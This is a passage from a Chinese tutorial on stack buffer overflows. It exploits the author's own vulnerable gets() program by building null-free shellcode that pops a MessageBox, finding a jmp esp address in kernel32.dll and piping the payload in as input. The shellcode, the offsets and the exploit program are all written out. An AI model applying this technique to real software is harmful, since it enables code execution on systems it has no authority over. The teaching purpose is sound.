在1.2节中我们编写了一个有漏洞的程序,通过输入可以控制其EIP,本节,我们要让example_2运行我们的MessageBox。再看看example_2:
/*****************************************************************************/
// example_2: 演示栈溢出
#include <stdio.h>
void get_print()
{
char str[11];
gets(str);
printf("%s\n", str);
}
int main()
{
get_print();
return 0;
}
/*****************************************************************************/
问题出在gets函数,要运行MessageBox,我们可以通过gets没有长度限制来输入1.3节中的Shellcode,但实际情况不像 example_4那么简单,有不少问题要解决。
(1)空字符
操作码含有不少空字符,在example_4中没有什么问题,因为它实际上并不是一个字符串,而是一段指令。但是现在,我们只能通过gets函数输入这段指令,因此,它必须被当做一个字符串读入。所以,它不能包含空字符。这个问题容易解决,只要把带有空字符的指令用等效的指令替换就可以了。例如,可以把PUSH 0 换为: XOR EAX,EAX; PUSH EAX。
修改后的程序如下:
/*****************************************************************************/
// example_6 替换产生空字符的指令后的程序
int main()
{
__asm
{
push ebp
mov ebp, esp
xor eax, eax // "ld"
mov ax, 0x646c
push eax
push 0x726f576f // "oWor"
push 0x6c6c6548 // "Hell"
push 0x00000031 // "1"
push 0x5f656c70 // "ple_"
push 0x6d617865 // "exam"
mov ax, 0x6c6c // "ll"
push eax
push 0x642e3233 // "32.d"
push 0x72657375 // "user"
lea ebx, [ebp-24h]
push ebx
mov ebx, 0x7c801d7b
call ebx // LoadLibraryA
xor eax, eax
push eax
lea ebx, [ebp-18h]
push ebx
lea ebx, [ebp-0ch]
push ebx
push eax
mov ebx, 0x77d507ea // MessageBoxA
call ebx
push eax
mov ebx, 0x7c81cafa // ExitProcess
call ebx
}
}
/*****************************************************************************/
/*****************************************************************************/
// example_7无空字符的Shellcode
char opcode[] = "\x55\x8B\xEC\x33\xC0\x66\xB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"
"\x68\x65\x78\x61\x6D\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x33\xC0\x50\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x50\xBB\xEA\x07\xD5\x77\xFF\xD3"
"\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";
int main()
{
int* ret;
ret = (int*)&ret + 2;
(*ret) = (int)opcode;
}
/*****************************************************************************/
这里说明一个东西——指令前缀,在操作码中会用冒号隔开,但是冒号本身不是操作码的一部分,提取操作码的时候不要加入冒号。如下:
图27
(2)无法输入的字符
如果只是abcd这种常见字符,很容易输入,但是操作码中含有一些无法输入的字符。例如,example_7中的操作码打印出来是这样子的:
图28
这个问题很容易解决,cmd命令行中有管道命令,因此,可以通过管道命令向example_2输入。用一个程序将Shellcode打印出来,然后通过管道输入到example_2即可。
(3)EIP修改为多少?
这也是最重要的问题,因为我们的目的就是控制EIP执行输入的Shellcode。那EIP修改为多少呢?当然是修改为Shellcode的首地址。但是不像 example_4中,我们明确指定Shellcode的地址,现在我们不知道。这由几种办法来解决,我们先用最笨的办法,即通过Immunity Debugger找到这个地址。
用Immunity Debugger打开example_2,这次,我们输入16个A和4个B,以及一大串C,
在get_print函数中POP EBP处下断点:
图29
查看栈的内容:
图30
BBBB为返回地址(EIP),因此,Shellcode起始地址为0x0012FF1C。
为了黑example_2,需要修改Shellcode,要在首部填充16个A(正常输入+填充EBP),然后填充0x0012FF1C,然后是原Shellcode。你注意到问题了吗?对的,EIP的填充地址0x0012FF1C,包含了空字符,这次,我们无法再替换掉它,而且,地址必须为四字节。因此,这种方法行不通。看来,想偷下懒都不行了。
我们需要另辟蹊径了。那么,还有什么是与栈上这个地址有关呢?与栈最密切的是EBP,ESP这两个寄存器,说到这,你可能已经知道了。是的,函数RET指令返回时取走保存的EIP之后,ESP指向的位置就是Shellcode的初始地址。
图31
因此,要让程序执行Shellcode,只需要一句 jmp esp就行了。所以,我们应该把EIP填充为一句jmp esp指令的地址,这样,EIP返回后,执行一句jmp esp,然后就跳转到Shellcode开始执行。但是,example_2中没有jmp esp,因此,我们需要在其它模块中找一条该指令。在Immunity Debugger中,右键Search for——All commands in all modules,键入jmp esp,查找结果如下:
图32
在MSVCR90D.dll和kernel32.dll中各找到一条,我们使用kernel32.dll中的,记下其地址:0x7c86467B。这个地址是可用的,不包含空字符。
下面是输出Shellcode的程序,它将通过管道将Shellcode输入给example_2:
/*****************************************************************************/
// example_5 打印Shellcode
#include <stdio.h>
char opcode[] = "AAAAAAAAAAAAAAAA\x7B\x46\x86\x7c"
"\x55\x8B\xEC\x33\xC0\x66\xB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"
"\x68\x65\x78\x61\x6D\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x33\xC0\x50\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x50\xBB\xEA\x07\xD5\x77\xFF\xD3"
"\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";
int main()
{
printf("%s", opcode);
}
/*****************************************************************************/
下面是见证奇迹的时刻,在命令行下输入如下内容:
图33
弹出了MessageBox,我们成功的黑掉了具有漏洞的example_2。